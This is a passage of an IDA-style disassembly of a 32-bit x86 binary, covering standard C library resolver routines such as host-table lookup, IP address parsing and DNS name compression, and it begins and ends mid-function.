		mov	dword ptr [ecx], 0
		add	edx, ebx
		mov	[ebp+var_54], edx
		sub	[ebp+var_5C], ebx
		add	esp, 0Ch

loc_804C886:				; CODE XREF: sub_804C6FC+159j
		xor	edi, edi

loc_804C888:				; CODE XREF: sub_804C6FC+134j
		cmp	[ebp+var_64], 0
		jz	loc_804C788
		mov	ebx, [esi+0Ch]
		cmp	[ebp+var_60], ebx
		jl	short loc_804C8C9
		push	ebx
		mov	ecx, [ebp+var_58]
		push	ecx
		mov	eax, [esi+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	ecx, [ebp+var_58]
		mov	edx, [ebp+var_50]
		mov	[edx], ecx
		add	edx, 4
		mov	[ebp+var_50], edx
		mov	dword ptr [edx], 0
		add	ecx, ebx
		mov	[ebp+var_58], ecx
		sub	[ebp+var_60], ebx
		add	esp, 0Ch

loc_804C8C9:				; CODE XREF: sub_804C6FC+19Cj
		mov	[ebp+var_64], 0
		jmp	loc_804C788
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C8D8:				; CODE XREF: sub_804C6FC+95j
		call	sub_804C574
		cmp	ds:dword_8079BB8, 0
		jnz	short loc_804C8FC
		xor	eax, eax
		jmp	loc_804C9D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C8F0:				; CODE XREF: sub_804C6FC+13Dj
		call	sub_804C574
		mov	eax, esi
		jmp	loc_804C9D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C8FC:				; CODE XREF: sub_804C6FC+1E8j
		mov	ds:dword_8079CDC, offset dword_8079CEC
		mov	ds:dword_8079CD8, offset unk_8079D78
		mov	[ebp+var_6C], 0
		mov	[ebp+var_70], 0FFFFFFFFh
		cmp	ds:dword_8079C48, 0
		jz	short loc_804C9A3
		mov	[ebp+var_74], offset dword_8079C48
		lea	esi, [esi]

loc_804C930:				; CODE XREF: sub_804C6FC+2A5j
		xor	edi, edi
		cmp	ds:dword_8079BB8, 0
		jz	short loc_804C997
		mov	esi, offset dword_8079BB8

loc_804C940:				; CODE XREF: sub_804C6FC+299j
		mov	eax, ds:dword_8079CE4
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		mov	edx, [ebp+var_74]
		mov	eax, [edx]
		push	eax
		call	bcopy
		add	esp, 0Ch
		mov	eax, [ebp+var_44]
		mov	ebx, eax
		xchg	bl, bh
		ror	ebx, 10h
		xchg	bl, bh
		mov	eax, ds:dword_8079CE4
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		mov	eax, [esi]
		push	eax
		call	bcopy
		mov	eax, ebx
		xor	eax, [ebp+var_48]
		mov	[ebp+var_44], eax
		add	esp, 0Ch
		mov	ecx, [ebp+var_70]
		cmp	eax, ecx
		jnb	short loc_804C98E
		mov	[ebp+var_6C], edi
		mov	[ebp+var_70], eax

loc_804C98E:				; CODE XREF: sub_804C6FC+28Aj
		add	esi, 4
		inc	edi
		cmp	dword ptr [esi], 0
		jnz	short loc_804C940

loc_804C997:				; CODE XREF: sub_804C6FC+23Dj
		add	[ebp+var_74], 4
		mov	edx, [ebp+var_74]
		cmp	dword ptr [edx], 0
		jnz	short loc_804C930

loc_804C9A3:				; CODE XREF: sub_804C6FC+229j
		cmp	[ebp+var_6C], 0
		jz	short loc_804C9C5
		mov	ecx, ds:dword_8079BB8
		mov	edx, [ebp+var_6C]
		mov	eax, ds:dword_8079BB8[edx*4]
		mov	ds:dword_8079BB8, eax
		mov	ds:dword_8079BB8[edx*4], ecx

loc_804C9C5:				; CODE XREF: sub_804C6FC+2ABj
		mov	ds:dword_8079CE8, offset dword_8079BB8
		mov	eax, offset dword_8079CD8

loc_804C9D4:				; CODE XREF: sub_804C6FC+1ECj
					; sub_804C6FC+1FBj
		lea	esp, [ebp+var_84]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804C6FC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804C9E4	proc near		; CODE XREF: .text:0804BF23p
					; gethostbyname+234p ...

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword_807852C, 0
		jnz	short loc_804CA11
		push	offset dword_807852C
		call	yp_get_default_domain
		add	esp, 4
		test	eax, eax
		jnz	loc_804CAB1

loc_804CA11:				; CODE XREF: sub_804C9E4+16j
		test	ebx, ebx
		jz	short loc_804CA44
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		push	eax
		push	ebx
		push	esi
		mov	eax, dword_807852C
		push	eax
		call	sub_805D3A8
		add	esp, 18h
		jmp	short loc_804CAAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CA44:				; CODE XREF: sub_804C9E4+2Fj
		cmp	dword_8078528, 0
		jz	short loc_804CA80
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_8079DD0
		push	offset dword_8079DCC
		push	esi
		mov	eax, dword_807852C
		push	eax
		call	sub_805D638
		add	esp, 18h
		test	eax, eax
		jnz	short loc_804CAB1
		mov	dword_8078528, 0
		jmp	short loc_804CAB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CA80:				; CODE XREF: sub_804C9E4+67j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_8079DD0
		push	offset dword_8079DCC
		mov	eax, ds:dword_8079DD0
		push	eax
		mov	eax, ds:dword_8079DCC
		push	eax
		push	esi
		mov	eax, dword_807852C
		push	eax
		call	sub_805D814
		add	esp, 20h

loc_804CAAD:				; CODE XREF: sub_804C9E4+5Bj
		test	eax, eax
		jz	short loc_804CAB8

loc_804CAB1:				; CODE XREF: sub_804C9E4+27j
					; sub_804C9E4+8Cj
		xor	eax, eax
		jmp	loc_804CB89
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CAB8:				; CODE XREF: sub_804C9E4+98j
					; sub_804C9E4+CBj
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	strchr
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804CACF
		mov	byte ptr [ebx],	0

loc_804CACF:				; CODE XREF: sub_804C9E4+E6j
		push	offset asc_806791B ; " \t"
		mov	eax, [ebp+var_4]
		push	eax
		call	strpbrk
		mov	ebx, eax
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	ds:dword_8079DC8, offset dword_807A340
		mov	ds:dword_807A340, offset unk_807A31C
		mov	eax, [ebp+var_4]
		push	eax
		call	inet_addr
		mov	edx, eax
		mov	eax, ds:dword_8079DC8
		mov	eax, [eax]
		mov	[eax], edx
		mov	ds:dword_8079DC4, 4
		mov	ds:dword_8079DC0, 2
		add	esp, 0Ch
		jmp	short loc_804CB25
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CB24:				; CODE XREF: sub_804C9E4+144j
					; sub_804C9E4+149j
		inc	ebx

loc_804CB25:				; CODE XREF: sub_804C9E4+13Ej
		cmp	byte ptr [ebx],	20h
		jz	short loc_804CB24
		cmp	byte ptr [ebx],	9
		jz	short loc_804CB24
		mov	ds:dword_8079DB8, ebx
		mov	ds:dword_8079DBC, offset dword_8079E88
		mov	edi, offset dword_8079E88
		jmp	short loc_804CB64
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CB48:				; CODE XREF: sub_804C9E4+198j
		cmp	byte ptr [ebx],	0
		jz	short loc_804CB7E
		cmp	byte ptr [ebx],	20h
		jz	short loc_804CB7B
		cmp	byte ptr [ebx],	9
		jz	short loc_804CB7B
		cmp	edi, offset unk_8079F10
		jnb	short loc_804CB64
		mov	[edi], ebx
		add	edi, 4

loc_804CB64:				; CODE XREF: sub_804C9E4+160j
					; sub_804C9E4+179j
		push	offset asc_806791B ; " \t"
		push	ebx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804CB7E
		mov	byte ptr [ebx],	0

loc_804CB7B:				; CODE XREF: sub_804C9E4+16Cj
					; sub_804C9E4+171j
		inc	ebx
		jnz	short loc_804CB48

loc_804CB7E:				; CODE XREF: sub_804C9E4+167j
					; sub_804C9E4+192j
		mov	dword ptr [edi], 0
		mov	eax, offset dword_8079DB8

loc_804CB89:				; CODE XREF: sub_804C9E4+CFj
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804C9E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804CB94	proc near		; CODE XREF: .text:0804C4C8p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	0
		call	_setprotoent
		add	esp, 4
		lea	esi, [esi]

loc_804CBAC:				; CODE XREF: sub_804CB94+26j
					; sub_804CB94+3Dj
		call	_gethtent
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_804CBD3
		cmp	[ebx+8], esi
		jnz	short loc_804CBAC
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+10h]
		mov	eax, [eax]
		push	eax
		call	bcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804CBAC

loc_804CBD3:				; CODE XREF: sub_804CB94+21j
		call	sub_804C574
		mov	eax, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804CB94	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804CBE4	proc near		; CODE XREF: sub_804B800+65Fp

var_6C		= byte ptr -6Ch
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_46		= byte ptr -46h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_50], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4C], edx
		mov	[ebp+var_5C], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jge	loc_804CD5C
		test	edi, 1
		jz	short loc_804CC80
		xor	ecx, ecx
		mov	al, byte_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	[ebp+var_50], eax
		jge	short loc_804CC56
		mov	esi, [edx]
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi+0]

loc_804CC38:				; CODE XREF: sub_804CBE4+70j
		mov	eax, [esi]
		mov	edx, [ebp+var_60]
		and	eax, dword ptr unk_80786B0[edx]
		cmp	dword ptr unk_80786AC[edx], eax
		jz	short loc_804CC56
		add	edx, 8
		mov	[ebp+var_60], edx
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_804CC38

loc_804CC56:				; CODE XREF: sub_804CBE4+44j
					; sub_804CBE4+65j
		mov	edi, [ebp+var_5C]
		mov	[ebp+edi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_804CC74
		test	edi, edi
		jle	short loc_804CC74
		movsx	eax, word ptr [ebp+edi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_804CC74
		mov	[ebp+var_50], edi

loc_804CC74:				; CODE XREF: sub_804CBE4+7Ej
					; sub_804CBE4+82j ...
		inc	[ebp+var_5C]
		add	[ebp+var_4C], 4
		jmp	loc_804CD50
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CC80:				; CODE XREF: sub_804CBE4+2Fj
					; sub_804CBE4+172j
		xor	ecx, ecx
		mov	al, byte_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	ecx, eax
		jge	short loc_804CCC2
		mov	edi, [ebp+var_4C]
		mov	esi, [edi]
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi]

loc_804CCA4:				; CODE XREF: sub_804CBE4+DCj
		mov	eax, [esi]
		mov	edx, [ebp+var_60]
		and	eax, dword ptr unk_80786B0[edx]
		cmp	dword ptr unk_80786AC[edx], eax
		jz	short loc_804CCC2
		add	edx, 8
		mov	[ebp+var_60], edx
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_804CCA4

loc_804CCC2:				; CODE XREF: sub_804CBE4+AEj
					; sub_804CBE4+D1j
		mov	edi, [ebp+var_5C]
		mov	[ebp+edi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_804CCE0
		test	edi, edi
		jle	short loc_804CCE0
		movsx	eax, word ptr [ebp+edi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_804CCE0
		mov	[ebp+var_50], edi

loc_804CCE0:				; CODE XREF: sub_804CBE4+EAj
					; sub_804CBE4+EEj ...
		mov	esi, [ebp+var_5C]
		inc	esi
		xor	ecx, ecx
		mov	al, byte_80786A8
		shr	al, 4
		and	eax, 0FFh
		cmp	ecx, eax
		jge	short loc_804CD2D
		mov	edx, [ebp+var_4C]
		mov	edx, [edx+4]
		mov	[ebp+var_58], edx
		mov	ebx, eax
		mov	[ebp+var_60], 0
		lea	esi, [esi]

loc_804CD0C:				; CODE XREF: sub_804CBE4+147j
		mov	edi, [ebp+var_58]
		mov	eax, [edi]
		mov	edi, [ebp+var_60]
		and	eax, dword ptr unk_80786B0[edi]
		cmp	dword ptr unk_80786AC[edi], eax
		jz	short loc_804CD2D
		add	edi, 8
		mov	[ebp+var_60], edi
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_804CD0C

loc_804CD2D:				; CODE XREF: sub_804CBE4+112j
					; sub_804CBE4+13Cj
		mov	[ebp+esi*2+var_48], cx
		cmp	[ebp+var_50], 0
		jnz	short loc_804CD48
		test	esi, esi
		jle	short loc_804CD48
		movsx	eax, word ptr [ebp+esi*2+var_4C+2]
		cmp	ecx, eax
		jge	short loc_804CD48
		mov	[ebp+var_50], esi

loc_804CD48:				; CODE XREF: sub_804CBE4+152j
					; sub_804CBE4+156j ...
		add	[ebp+var_5C], 2
		add	[ebp+var_4C], 8

loc_804CD50:				; CODE XREF: sub_804CBE4+97j
		mov	edx, [ebp+arg_4]
		cmp	[ebp+var_5C], edx
		jl	loc_804CC80

loc_804CD5C:				; CODE XREF: sub_804CBE4+23j
		cmp	[ebp+var_50], 0
		jz	loc_804CE7F
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jge	loc_804CE7F
		lea	edx, [ebp+var_46]
		mov	[ebp+var_54], edx
		mov	eax, edi
		sub	eax, [ebp+var_50]
		test	al, 1
		jz	short loc_804CDD8
		mov	ecx, [ebp+var_50]
		dec	ecx
		js	short loc_804CDC7
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		lea	ebx, [edx+ecx*2]

loc_804CD90:				; CODE XREF: sub_804CBE4+1E1j
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_804CDC7
		movsx	edx, ax
		mov	[ebp+var_5C], edx
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	di, word ptr [ebp+var_5C]
		mov	[ebx], di
		mov	edx, [esi]
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+ecx*4+4]
		mov	[esi], eax
		mov	[edi+ecx*4+4], edx
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_804CD90

loc_804CDC7:				; CODE XREF: sub_804CBE4+1A1j
					; sub_804CBE4+1B4j
		inc	[ebp+var_50]
		mov	edx, [ebp+arg_4]
		cmp	[ebp+var_50], edx
		jge	loc_804CE7F
		lea	esi, [esi]

loc_804CDD8:				; CODE XREF: sub_804CBE4+19Bj
					; sub_804CBE4+295j
		mov	ecx, [ebp+var_50]
		dec	ecx
		js	short loc_804CE23
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		mov	edx, [ebp+var_54]
		lea	ebx, [edx+ecx*2]
		lea	esi, [esi]

loc_804CDEC:				; CODE XREF: sub_804CBE4+23Dj
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_804CE23
		movsx	edi, ax
		mov	[ebp+var_5C], edi
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	dx, word ptr [ebp+var_5C]
		mov	[ebx], dx
		mov	edi, [esi]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		mov	[esi], eax
		mov	[edx+ecx*4+4], edi
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_804CDEC

loc_804CE23:				; CODE XREF: sub_804CBE4+1F8j
					; sub_804CBE4+210j
		mov	ecx, [ebp+var_50]
		test	ecx, ecx
		jl	short loc_804CE6F
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+ecx*4]
		mov	edx, [ebp+var_54]
		lea	ebx, [edx+ecx*2]
		lea	esi, [esi]

loc_804CE38:				; CODE XREF: sub_804CBE4+289j
		mov	ax, [ebp+ecx*2+var_48]
		cmp	[ebx], ax
		jge	short loc_804CE6F
		movsx	edi, ax
		mov	[ebp+var_5C], edi
		mov	ax, [ebx]
		mov	[ebp+ecx*2+var_48], ax
		mov	dx, word ptr [ebp+var_5C]
		mov	[ebx], dx
		mov	edi, [esi]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		mov	[esi], eax
		mov	[edx+ecx*4+4], edi
		add	esi, 0FFFFFFFCh
		add	ebx, 0FFFFFFFEh
		dec	ecx
		jns	short loc_804CE38

loc_804CE6F:				; CODE XREF: sub_804CBE4+244j
					; sub_804CBE4+25Cj
		add	[ebp+var_50], 2
		mov	edi, [ebp+arg_4]
		cmp	[ebp+var_50], edi
		jl	loc_804CDD8

loc_804CE7F:				; CODE XREF: sub_804CBE4+17Cj
					; sub_804CBE4+188j ...
		lea	esp, [ebp+var_6C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804CBE4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000027 BYTES: COLLAPSED FUNCTION inet_addr. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804CEB4	proc near		; CODE XREF: inet_addr+Ep
					; res_init+415p ...

var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_18], ecx
		lea	esi, [esi]

loc_804CEC8:				; CODE XREF: sub_804CEB4+CBj
		xor	esi, esi
		mov	[ebp+var_14], 0Ah
		cmp	byte ptr [ebx],	30h
		jnz	short loc_804CEF3
		inc	ebx
		cmp	byte ptr [ebx],	78h
		jz	short loc_804CEE1
		cmp	byte ptr [ebx],	58h
		jnz	short loc_804CEEC

loc_804CEE1:				; CODE XREF: sub_804CEB4+26j
		mov	[ebp+var_14], 10h
		inc	ebx
		jmp	short loc_804CEF3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CEEC:				; CODE XREF: sub_804CEB4+2Bj
		mov	[ebp+var_14], 8

loc_804CEF3:				; CODE XREF: sub_804CEB4+20j
					; sub_804CEB4+35j
		mov	al, [ebx]
		test	al, al
		jz	short loc_804CF5A
		mov	edi, dword_8078FA0
		nop

loc_804CF00:				; CODE XREF: sub_804CEB4+A4j
		test	al, al
		jl	short loc_804CF1C
		movzx	edx, al
		test	byte ptr [edi+edx*2+1],	8
		jz	short loc_804CF1C
		mov	eax, [ebp+var_14]
		imul	eax, esi
		lea	esi, [edx+eax-30h]
		jmp	short loc_804CF53
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CF1C:				; CODE XREF: sub_804CEB4+4Ej
					; sub_804CEB4+58j
		cmp	[ebp+var_14], 10h
		jnz	short loc_804CF5A
		test	al, al
		jl	short loc_804CF5A
		and	eax, 0FFh
		test	byte ptr [edi+eax*2+1],	10h
		jz	short loc_804CF5A
		lea	ecx, [eax+0Ah]
		mov	[ebp+var_1C], ecx
		mov	edx, esi
		shl	edx, 4
		test	byte ptr [edi+eax*2+1],	2
		jz	short loc_804CF4C
		lea	esi, [ecx+edx-61h]
		jmp	short loc_804CF53
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CF4C:				; CODE XREF: sub_804CEB4+8Ej
		mov	ecx, [ebp+var_1C]
		lea	esi, [ecx+edx-41h]

loc_804CF53:				; CODE XREF: sub_804CEB4+64j
					; sub_804CEB4+94j
		inc	ebx
		mov	al, [ebx]
		test	al, al
		jnz	short loc_804CF00

loc_804CF5A:				; CODE XREF: sub_804CEB4+43j
					; sub_804CEB4+6Cj ...
		cmp	byte ptr [ebx],	2Eh
		jnz	short loc_804CF84
		lea	eax, [ebp+var_4]
		cmp	[ebp+var_18], eax
		jnb	loc_804CFEC
		cmp	esi, 0FFh
		ja	short loc_804CFEC
		mov	ecx, [ebp+var_18]
		mov	[ecx], esi
		add	ecx, 4
		mov	[ebp+var_18], ecx
		inc	ebx
		jmp	loc_804CEC8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CF84:				; CODE XREF: sub_804CEB4+A9j
		cmp	byte ptr [ebx],	0
		jz	short loc_804CF9A
		jl	short loc_804CFEC
		movzx	edx, byte ptr [ebx]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804CFEC

loc_804CF9A:				; CODE XREF: sub_804CEB4+D3j
		lea	eax, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, eax
		mov	eax, ecx
		sar	eax, 2
		inc	eax
		cmp	eax, 2
		jz	short loc_804CFBC
		jle	short loc_804D008
		cmp	eax, 3
		jz	short loc_804CFCC
		cmp	eax, 4
		jz	short loc_804CFE4
		jmp	short loc_804D008
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CFBC:				; CODE XREF: sub_804CEB4+F7j
		cmp	esi, 0FFFFFFh
		ja	short loc_804CFEC
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		jmp	short loc_804D006
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CFCC:				; CODE XREF: sub_804CEB4+FEj
		cmp	esi, 0FFFFh
		ja	short loc_804CFEC
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		mov	edx, [ebp+var_C]
		shl	edx, 10h
		jmp	short loc_804D004
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804CFE4:				; CODE XREF: sub_804CEB4+103j
		cmp	esi, 0FFh
		jbe	short loc_804CFF0

loc_804CFEC:				; CODE XREF: sub_804CEB4+B1j
					; sub_804CEB4+BDj ...
		xor	eax, eax
		jmp	short loc_804D021
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CFF0:				; CODE XREF: sub_804CEB4+136j
		mov	eax, [ebp+var_10]
		shl	eax, 18h
		mov	edx, [ebp+var_C]
		shl	edx, 10h
		or	eax, edx
		mov	edx, [ebp+var_8]
		shl	edx, 8

loc_804D004:				; CODE XREF: sub_804CEB4+12Cj
		or	eax, edx

loc_804D006:				; CODE XREF: sub_804CEB4+116j
		or	esi, eax

loc_804D008:				; CODE XREF: sub_804CEB4+F9j
					; sub_804CEB4+105j
		cmp	[ebp+arg_4], 0
		jz	short loc_804D01C
		mov	eax, esi
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax

loc_804D01C:				; CODE XREF: sub_804CEB4+158j
		mov	eax, 1

loc_804D021:				; CODE XREF: sub_804CEB4+13Aj
		lea	esp, [ebp+var_28]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804CEB4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000274 BYTES: COLLAPSED FUNCTION dn_expand. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804D2A0	proc near		; CODE XREF: res_mkquery+F9p
					; res_mkquery+15Ap

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		add	edx, [ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_C], 0
		jz	short loc_804D304
		mov	edx, [ebp+arg_C]
		mov	edx, [edx]
		mov	[ebp+var_10], edx
		add	[ebp+arg_C], 4
		test	edx, edx
		jz	short loc_804D30B
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_4], edx
		cmp	dword ptr [edx], 0
		jz	short loc_804D2F4
		lea	esi, [esi]

loc_804D2E8:				; CODE XREF: sub_804D2A0+52j
		add	[ebp+var_4], 4
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jnz	short loc_804D2E8

loc_804D2F4:				; CODE XREF: sub_804D2A0+44j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		jmp	short loc_804D30B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D2FC:				; CODE XREF: sub_804D2A0+11Aj
		dec	edi
		jmp	loc_804D3D5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D304:				; CODE XREF: sub_804D2A0+29j
		mov	[ebp+var_10], 0

loc_804D30B:				; CODE XREF: sub_804D2A0+39j
					; sub_804D2A0+5Aj
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	loc_804D3D5
		nop

loc_804D318:				; CODE XREF: sub_804D2A0+12Fj
		cmp	[ebp+var_10], 0
		jz	short loc_804D382
		mov	edx, [ebp+var_8]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [esi-1]
		push	eax
		call	sub_804D484
		mov	ecx, eax
		add	esp, 10h
		test	ecx, ecx
		jl	short loc_804D360
		lea	ebx, [edi+1]
		cmp	[ebp+var_C], ebx
		jbe	loc_804D3E9
		sar	eax, 8
		or	al, 0C0h
		mov	[edi], al
		mov	edi, ebx
		mov	edx, edi
		inc	edi
		mov	al, cl
		mov	[edx], al
		jmp	loc_804D3F4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804D360:				; CODE XREF: sub_804D2A0+9Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_804D382
		mov	eax, [ebp+arg_10]
		add	eax, 0FFFFFFFCh
		cmp	[ebp+var_4], eax
		jnb	short loc_804D382
		mov	edx, [ebp+var_4]
		mov	[edx], edi
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	dword ptr [edx], 0

loc_804D382:				; CODE XREF: sub_804D2A0+7Cj
					; sub_804D2A0+C4j ...
		mov	[ebp+var_14], edi
		inc	edi
		jmp	short loc_804D3A7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804D388:				; CODE XREF: sub_804D2A0+10Aj
		cmp	ebx, 5Ch
